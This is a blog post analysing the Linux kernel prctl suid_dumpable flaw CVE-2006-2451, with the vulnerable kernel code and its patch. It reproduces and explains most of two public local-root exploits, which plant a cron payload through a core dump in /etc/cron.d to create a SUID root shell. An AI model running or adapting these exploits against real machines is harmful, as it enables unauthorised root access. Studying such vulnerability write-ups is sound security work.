xorl %eax, %eax

CVE-2006-2451: Linux kernel suid_dumpable Invalid Argument Check

leave a comment »

This is another old but still cute kernel vulnerability. It was found by Red Hat and it affects Linux kernel 2.6.13 up to versions before 2.6.17.4, and 2.6.16 before 2.6.16.24 as we can read from its CVE ID. The following code is from 2.6.17’s kernel/sys.c file.

asmlinkage long sys_prctl(int option, unsigned long arg2, unsigned long arg3,
                          unsigned long arg4, unsigned long arg5)
{
        long error;

        error = security_task_prctl(option, arg2, arg3, arg4, arg5);
        if (error)
                return error;

        switch (option) {
  ...
                case PR_SET_DUMPABLE:
                        if (arg2 < 0 || arg2 > 2) {
                                error = -EINVAL;
                                break;
                        }
                        current->mm->dumpable = arg2;
                        break;
  ...
        return error;
}

prctl(2) system call includes ‘PR_SET_DUMPABLE’ option which as we can read from its man page, does this:

(Since Linux 2.4) Set the state of the flag determining whether 
core dumps are produced for this process upon delivery of a signal 
whose default behaviour is to produce a core dump. (Normally this 
flag is set for a process by default, but it is cleared when a 
set-user-ID or set-group-ID program is executed and also by various 
system calls that manipulate process UIDs and GIDs). In kernels up 
to and including 2.6.12, arg2 must be either 0 (process is not dumpable) 
or 1 (process is dumpable). Since kernel 2.6.13, the value 2 is also 
permitted; this causes any binary which normally would not be dumped to 
be dumped readable by root only. (See also the description of 
/proc/sys/fs/suid_dumpable in proc(5).)

Knowing this, we can see that sys_prctl() above allows any user to set ‘arg2’ to either 1 or 2 with no permissions checks. Because of this, any user could place his core dump file into any directory of the system regardless of his permissions to it. Greg Kroah-Hartman said:

This could lead to a denial of service (disk consumption), 
or allow the local user to gain root privileges.

And the patch for that bug was to fix the ‘arg2’ check like this:

                case PR_SET_DUMPABLE:
-                       if (arg2 < 0 || arg2 > 2) {
+                       if (arg2 < 0 || arg2 > 1) {
                                error = -EINVAL;

So, even though this seems kind of weird bug from an exploit developer’s point of view, people find their way in. The first public exploit written by dreyer and RoMaNSoFt did this…

char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * *   root   cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core\n";

int main() { 
    int child;
    struct rlimit corelimit;
    printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t\n");
    printf("By: dreyer & RoMaNSoFt\n");
    printf("[ 10.Jul.2006 ]\n\n");

    corelimit.rlim_cur = RLIM_INFINITY;
    corelimit.rlim_max = RLIM_INFINITY;
    setrlimit(RLIMIT_CORE, &corelimit);

Nothing notable, just setting the RLIMIT_CORE to RLIM_INFINITY using setrlimit(). It continues like this…

    printf("[*] Creating Cron entry\n");

    if ( !( child = fork() )) {
        chdir("/etc/cron.d");
        prctl(PR_SET_DUMPABLE, 2);
        sleep(200);
        exit(1);
    }

    kill(child, SIGSEGV);

    printf("[*] Sleeping for aprox. one minute (** please wait **)\n");
    sleep(62);

    printf("[*] Running shell (remember to remove /tmp/sh when finished) ...\n");
    system("/tmp/sh -i");
}

It spawns a new process and it moves to /etc/cron.d/ directory. It sets PR_SET_DUMPABLE to 2 (which is the actual bug), and then it simply waits to be killed with SIGSEGV by its parent. This will drop the core dump file of the killed child process into /etc/cron.d/ directory. Among others, the coredump file will contain the ‘payload’ string which is this simple shell script:

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
* * * * *   root   cp /bin/sh /tmp/sh
chown root /tmp/sh
chmod 4755 /tmp/sh 
rm -f /etc/cron.d/core

And guess what? cron will execute what it can understand from the core file. So, it will create a SUID shell into /tmp/sh and then remove the core file from /etc/cron.d/. Of course, this might take some time. Specifically, you’ll have to wait until cronjobs for /etc/cron.d/ start.
The second public exploit for this vulnerability was released by Julien TINNES. He uses the exact same technique of executing a script that will create a SUID shell binary through /etc/cron.d/ directory. His steps are:

int	main(int argc, char *argv[]) {

	int nw, pid;

	if (geteuid() == 0) {
		printf("[+] getting root shell\n");
		setuid(0);
		setgid(0);
		if (execl("/bin/sh", "/bin/sh", (char *) NULL)) {
			perror("[-] execle");
			return 1;
		}
	}

	printf("\nprctl() suidsafe exploit\n\n(C) Julien TINNES\n\n");

	/* get our file name */
	if (readlink("/proc/self/exe", fname, sizeof(fname)) == -1) {
		perror("[-] readlink");
		printf("This is not fatal, rewrite the exploit\n");
	}

	if (signal(SIGUSR1, sh) == SIG_ERR) {
		perror("[-] signal");
		return 1;
	}
	printf("[+] Installed signal handler\n");

Here it checks that we are not already root in the system, then it retrieves the filename of the running binary through its /proc/self/exe and sets a custom signal handler named sh() for SIGUSR1 signals. This is a simple execl(2) routine.

void sh(int sn) {
	execl(fname, fname, (char *) NULL);
}

This will attempt to re-execute our exploit binary in case of SIGUSR1 signal.

	/* Let us create core files */
	setrlimit(RLIMIT_CORE, &myrlimit);
	if (chdir(CROND) == -1) {
		perror("[-] chdir");
		return 1;
	}

	/* exploit the flaw */
	if (prctl(PR_SET_DUMPABLE, 2) == -1) {
		perror("[-] prtctl");
		printf("Is you kernel version >= 2.6.13 ?\n");
		return 1;
	}

	printf("[+] We are suidsafe dumpable!\n");

Here, he sets the RLIMIT_CORE to RLIM_INFINITY and enables the buggy prctl(2) option.

	/* Forge the string for our core dump */
	nw=snprintf(cronstring, sizeof(cronstring), crontemplate, "\n", fname, fname, CROND"/core", getpid());
	if (nw >= sizeof(cronstring)) {
		printf("[-] cronstring is too small\n");
		return 1;
	}
	printf("[+] Malicious string forged\n");

	if ((pid=fork()) == -1) {
		perror("[-] fork");
		return 1;
	} 

He customizes the ‘cronstring’ to make our binary the SUID bourne shell and send a SIGUSR1 signal to our process ID. Using this, it will trigger the sh() signal handler and execute the new executable which would be a SUID root shell. The last part of the main() routine is straightforward…

	if (pid == 0) {
		/* This is not the good way to do it ;) */
		sleep(120);
		exit(0);
	}

	/* SEGFAULT the child */
	printf("[+] Segfaulting child\n");
	if (kill(pid, 11) == -1) {
		perror("[-] kill");
		return 1;
	}
	if (gettimeofday(&te, NULL) == 0) 
		printf("[+] Waiting for exploit to succeed (~%ld seconds)\n", 60 - (te.tv_sec%60));
	sleep(120);

	printf("[-] It looks like the exploit failed\n");

	return 1;
}

He justs spawns a new process and killing it using SIGSEGV (signal 11), then he uses gettimeofday() to make a more reliable approximation of the time that it might take for cronjob to be executed.
The next exploit for this vulnerability was written by raptor. Once again, he utilizes the /etc/cron.d/ technique. The only difference from the previous two was the use of stat(2) in order to check if the coredump file was created inside /etc/cron.d/ and SUID root shell was created in /tmp/pwned.
Yes, there is another public exploit for this written by zmia23. This one is written as a shell script and does pretty much the same. It creates /tmp/getsuid.c that drops its coredump file into /etc/cron.d/ and this one executes /tmp/s which is a little C program that sets UID/GID to 0 and spawns a /bin/sh.

Written by xorl

August 9, 2009 at 20:43

Posted in bugs, linux

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s